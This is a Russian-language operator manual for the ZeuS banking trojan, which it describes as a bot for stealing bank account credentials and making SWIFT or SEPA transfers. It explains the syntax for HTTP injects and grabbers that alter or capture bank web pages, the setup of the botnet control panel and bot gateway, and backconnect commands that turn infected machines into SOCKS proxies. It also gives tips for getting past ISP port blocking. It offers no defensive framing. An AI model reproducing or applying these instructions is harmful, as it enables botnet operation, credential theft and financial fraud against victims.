Руководство по установке ботов в сети

ZeUS manual: Бот для получения банковских учетных записей и совершения денежных переводов SWIFT или SEPA

Описание: Панель управления

Файл конфигурации: HTTP-инжекты/HTTP-грабберы.

Для удобства написания, HTTP-инжекты/HTTP-грабберы записываются в отдельный файл, указанный в файле конфигурации как "DynamicConfig.file_webinjects". Естественно, после создания конченого файла конфигурации, ни какие дополнительные файлы не генерируются.

Файл представляет из себя список URL'ов, для которых можно указать неограниченное количество либо вносимых в них изменений, либо получаемых из них данных. Текущий URL указывается следующей строкой:

set_url [url] [options] [postdata_blacklist] [postdata_whitelist] [url_block] [matched_context]

Параметры:

url URL, на котором должен запускаться HTTP-инжект/HTTP-граббер. Допускается использование масок (символы * и #).
options Определяет основные правила и условия для запсука, состоит из комбинации следующих символов:
  • P - запускать при POST-запросе.
  • G - запускать при GET-запросе.
  • L - если этот сивол указан, то запуск происходит как HTTP-граббера, если не указан, то как HTTP-инжекта.
  • D - блокирует запуск более одного раза в 24 часа. Этот символ требует обязательного наличия параметра url_block.
  • F - дополняет символ "L", позволяет записывать результат не в виде обычного отчета, а в виде отдельного файла "grabbed\%host%_%year%_%month%_%day%.txt".
  • H - дополняет символ "L", сохраняет содержимое без вырезания HTML-тегов. В обычном же режиме, все HTML-теги удаляются, а некоторые преобразуются в символ "новая строка" или "пробел".
  • I - сравнивать параметр url без учета регистра (только для англ. алфавита).
  • C - сравнивать конекст без учета регистра (только для англ. алфавита).
postdata_blacklist Полное (от начала до конца) содержимое POST-данных, при котором не должен происходить запуск. Допускается использование масок (символы * и ?).

Параметр является необязательным.
postdata_whitelist Полное (от начала до конца) содержимое POST-данных, при котором должен происходить запуск. Допускается использование масок (символы * и ?).

Параметр является необязательным.
url_block При отсутствии символа "D" в параметре options:

Если запуск должен происходить только один раз, то здесь следует указать URL, в случаи обращения к которому, дальнеший запуск будет заблокирован. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. Если после блокировки, понадобится повторный запуск, то блокировку можно снять через команду "bot_httpinject_enable" с параметром, например, равному параметру url.

При наличии символа "D" в параметре options:

Необходимо указать URL, при обращении к которому, запуск будет заблокирован на 24-е часа. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. Эту блокировку нельзя снять через через команду "bot_httpinject_enable".

Параметр является необязательным при отсутствии символа "D" в параметре options.
matched_context Подсодержимое (подстрока) содеримого URL, при котором должен происходить запуск. Допускается использование масок (символы * и ?).

Параметр является необязательным.

Со следующей строки начинается список изменений вносимых, в содержимое URL, а при наличии символа "L" в параметре options - список данных, получаемых из содержимое URL. Это список длится до тех пор, пока не достигнут конец файла, или не задан новый URL.

Единица списка состоит из трех элементов в произвольном порядке:

data_before При отсутвие символа "L" в параметре options:

Подсодержиоме в соедржимом URL, после окончания которого нужно внести новые данные.

При наличии символа "L" в параметре options:

Подсодержиоме в соедржимом URL, после окончания которого нужно начать получить данные для отчета.

Допускается использование масок (символы * и ?).
data_after При отсутвие символа "L" в параметре options:

Подсодержиоме в соедржимом URL, передкоторым нужно закончить новые данные.

При наличии символа "L" в параметре options:

Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета.

Допускается использование масок (символы * и ?).
data_inject При отсутвие символа "L" в параметре options:

Новые данные, который будут внесены между данными найденысмм по data_before и data_after.

При наличии символа "L" в параметре options:

Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета.

Примеры:

user_homepage_set http://www.google.com/ Принудительная установка домашней страницы "http://www.google.com/".
user_homepage_set Принудительная установка домашней страницы будет отключена.
ЛИМИТЫ ЛОГИКА ПРИ НЕЗАПОЛЕННЫХ before или after

Панель управления: Настройка сервера

Сервер является центральной точкой управления ботнетом, он занимается сборкой отчетов ботов, и отдачей команд ботам. Крайне не рекомендуется использовать "Виртуальный Хостинг" или "VDS", т.к. при увеличение ботнета, нагрузка на сервер будет увеличиваться, и такой вид хостинга довольно быстро исчерпает свои ресурсы. Вам нужен "Выделенный сервер" (Дедик), рекомендуемая минимальная конфигурация:

Для работы бота необходим HTTP-сервер с подключенным PHP + Zend Optimizer, и MySQL-сервер.
ВНИМАНИЕ: Для Windows-серверов очень важно изменить (создать) следующее значение реестра: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\MaxUserPort=dword:65534 (десятичное).

Панель управления: Установка

Назначение файлов и папок:

/installинсталлятор
/systemсистемные файлы
/system/fsarc.phpскрипт для вызова внешнего архиватора
/system/config.phpфайл конфигурации
/themeфайлы темы (дизайн), без зенда, могут свободно изменяться
cp.phpвход в панель управления
gate.phpгэйт для ботов
index.phpпустой файл для предотвращения листинга файлов

Панель управления обычно расположена в вашем дистрибутиве в папке server[php]. Все содержимое этой папки необходимо загрузить на сервер в любую папку доступную по HTTP. Если Вы загружаете ее через FTP, то все файлы нужно загрузить в БИНАРНОМ режиме.

Для nix-систем выставите права:

/.777
/system777
/tmp777

Для Windows-систем выставите права:

\systemправа на полные права на запись, чтение для пользователя из под которого происходит доступ через HTTP. Для IIS это обычно IUSR_*
\tmpтакже как и для \system

После того как все файлы загружены и для них выставлены права, необходимо через браузер запустить инсталлятор по URL http://сервер/папка/install/index.php. Следуйте появившимся инструкциям, в случаи возникновения ошибок (Вы будете подробно уведомлены) в процесс установки, проверти правильность введенных данных, и правильность установки прав на папки.

После установки, рекомендуется удалить директорию install, и переименовать файлы cp.php (вход в панель управления) и gate.php (гэйт для ботов) в любые файлы по вашему желанию (расширение менять нельзя).

Теперь Вы можете благополучно входить в панель управления, введя в браузере URL переименованного файла cp.php.

Панель управления: Обновление

Если Вы обладаете более новой копией панели управления, и желаете обновить старую версию, то необходимо сделать следующие:

  1. Скопировать файлы новой панели управления на место старых.
  2. Переименовать файлы cp.php и gate.php согласно их реальным именам выбранным вами при установке старой панели управления.
  3. На всякой случай, повторно выставить права на директории согласно этому разделу.
  4. Через браузер запустить инсталлятор по URL http://сервер/директория/install/index.php, и следовать появившимся инструкциям. Процесс работы инсталлятора может занять достаточно большой промежуток времени, это связано с тем, что некоторые таблицы с отчетами могут пересоздаваться.
  5. Можно пользоваться новой панелью управления.

Панель управления: Файл /system/fsarc.php.

Данный файл содержит в себе функцию для вызова внешнего архиватора. В данный момент архиватор используется только в модуле "Отчеты::Поиск в файлах" (reports_files), и вызывается для загрузки файлов и папок в виде одного архива. По умолчанию функция настроена на архиватор Zip, и является универсальной для Windows и nix, поэтому все что вам нужно сделать, это установить в систему этот архиватор, и дать права на его исполнение. Вы также можете отредактировать этот файл для работы с любым архиватором.

Загрузить Zip: http://www.info-zip.org/Zip.html.

Панель управления: Команды, используемые в скриптах

Работа с Backсonnect-сервером

Работа с BackConnect рассматривается в виде примера.

  1. Запускается серверное приложение(zsbcs.exe или zsbcs64.exe) на сервере имеющем свой IP-адрес в интернете, для приложения указывается порт, на котором ожидается подключение от бота, и порт к которому будет подключаться клиентское приложение. Например zsbcs.exe listen -cp:1080 -bp:4500, где 1080 - клиентский порт, 4500 - порт для бота.

  2. Необходимому боту отправляется команда "bot_bc_add socks 192.168.100.1 4500".

  3. Теперь необходимо ждать подключение бота к серверу, в этот период любая попытка клиентского приложения подключится будет игнорироваться (будет происходить отключение клиента). Знаком подключения бота, будет вывод в консоль сервера строки "Accepted new conection from bot...".

  4. После подключения бота, Вы можете работать со своим клиентским приложением. Т.е. Вы просто подключаетесь к серверу на клиентский порт (в данном случаи 1080). Например, если Вы отдали команду socks, то на клиентском порту вас будет ожидать Socks-сервер.

  5. После того, когда вам не нужен Backconnect от бота для определенного сервиса, необходимо отдать команду "bot_bc_remove socks 192.168.100.1 4500".

ПРИМЕЧАНИЯ:

  1. Вы можете указывать сколько угодно Backconnect'ов (т.е. bot_bc_add), но у них не должна быть общая комбинация IP + Port. Но в случаи наличия такой комбинации, будет запускаться первая добавленная.
  2. Для каждого Backconnect'а, Вы должны запускать отдельное серверное приложение.
  3. В случаи разрыва соединения (падения сервера, падение бота и т.д.), бот будет повторят подключение к серверу бесконечно (даже после перезагрузки PC), до тех пор пока Backconnect не будет удален (т.е. bot_bc_remove).
  4. В качестве service для bot_bc_add, может быть использован любой порт открытый по адресу 127.0.0.1.
  5. Серверное приложение поддерживает IPv6, но в настоящее время эта поддержка не особо актуальна.
  6. Возможен запуск серверного приложения под wine. Написание же elf приложения в настоящее время не планируется.
  7. Крайне рекомендуется использовать в опции bp серверного приложения популярные порты (80, 8080, 443 и т.д.), т.к. иные порты могут быть заблокированы провайдером которому принадлежит бот.
  8. Нельзя позволят подключатся разным ботам на один и тот же серверный порт одновременно.
  9. Метод такого подключения может пригодиться и для ботов, которые находятся вне NAT, т.к. иногда фаерволами Windows или провайдерами, могут быть заблокированы подключения из интернета.

F.A.Q.

История версий